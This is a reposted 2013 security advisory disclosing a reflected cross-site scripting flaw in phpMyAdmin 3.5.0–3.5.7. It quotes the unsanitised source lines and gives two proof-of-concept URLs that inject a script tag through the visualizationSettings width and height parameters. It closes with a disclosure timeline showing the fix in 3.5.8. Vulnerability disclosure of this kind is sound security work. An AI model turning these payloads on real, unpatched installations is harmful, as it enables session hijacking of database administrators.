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phpMyAdmin 3.5.7 Cross Site Scripting

phpMyAdmin 3.5.7 Cross Site Scripting
Posted Apr 10, 2013
Authored by Janek Vind aka waraxe | Site waraxe.us

phpMyAdmin version 3.5.7 suffers from a reflective cross site scripting vulnerability.

tags | exploit, xss
MD5 | 03335a29baae9491a33ee4b265c32336

phpMyAdmin 3.5.7 Cross Site Scripting

Change Mirror Download
[waraxe-2013-SA#102] - Reflected XSS in phpMyAdmin 3.5.7
===============================================================================

Author: Janek Vind "waraxe"
Date: 09. April 2013
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-102.html


Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

phpMyAdmin is a free software tool written in PHP, intended to handle the
administration of MySQL over the World Wide Web. phpMyAdmin supports a wide
range of operations with MySQL.

http://www.phpmyadmin.net/home_page/index.php

Affected are versions 3.5.0 to 3.5.7, older versions not vulnerable.


###############################################################################
1. Reflected XSS in "tbl_gis_visualization.php"
###############################################################################

Reason:
1. insufficient sanitization of html output
Attack vectors:
1. user-supplied parameters "visualizationSettings[width]" and "visualizationSettings[height]"
Preconditions:
1. valid session
2. "token" parameter must be known
3. valid database name must be known


Php script "tbl_gis_visualization.php" line 51:
------------------------[ source code start ]----------------------------------
// Get settings if any posted
$visualizationSettings = array();
if (PMA_isValid($_REQUEST['visualizationSettings'], 'array')) {
$visualizationSettings = $_REQUEST['visualizationSettings'];
..
<legend><?php echo __('Display GIS Visualization'); ?></legend>
<div id="placeholder" style="width:<?php echo($visualizationSettings['width']); ?>px;
height:<?php echo($visualizationSettings['height']); ?>px;">
------------------------[ source code end ]------------------------------------


Tests (parameters "db" and "token" must be valid):

http://localhost/PMA/tbl_gis_visualization.php?db=information_schema&
token=17961b7ab247b6d2b39d730bf336cebb&
visualizationSettings[width]="><script>alert(123);</script>

http://localhost/PMA/tbl_gis_visualization.php?db=information_schema&
token=17961b7ab247b6d2b39d730bf336cebb
&visualizationSettings[height]="><script>alert(123);</script>


Result: javascript alert box pops up, confirming Reflected XSS vulnerability.


Disclosure timeline:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

31.03.2013 -> Sent email to developers
31.03.2013 -> First response email from developers
02.04.2013 -> Second email from developers - XSS patched in Git repository
03.04.2013 -> phpMyAdmin 3.5.8-rc1 is released
08.04.2013 -> phpMyAdmin 3.5.8 is released
09.04.2013 -> public advisory released


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
---------------------------------- [ EOF ] ------------------------------------

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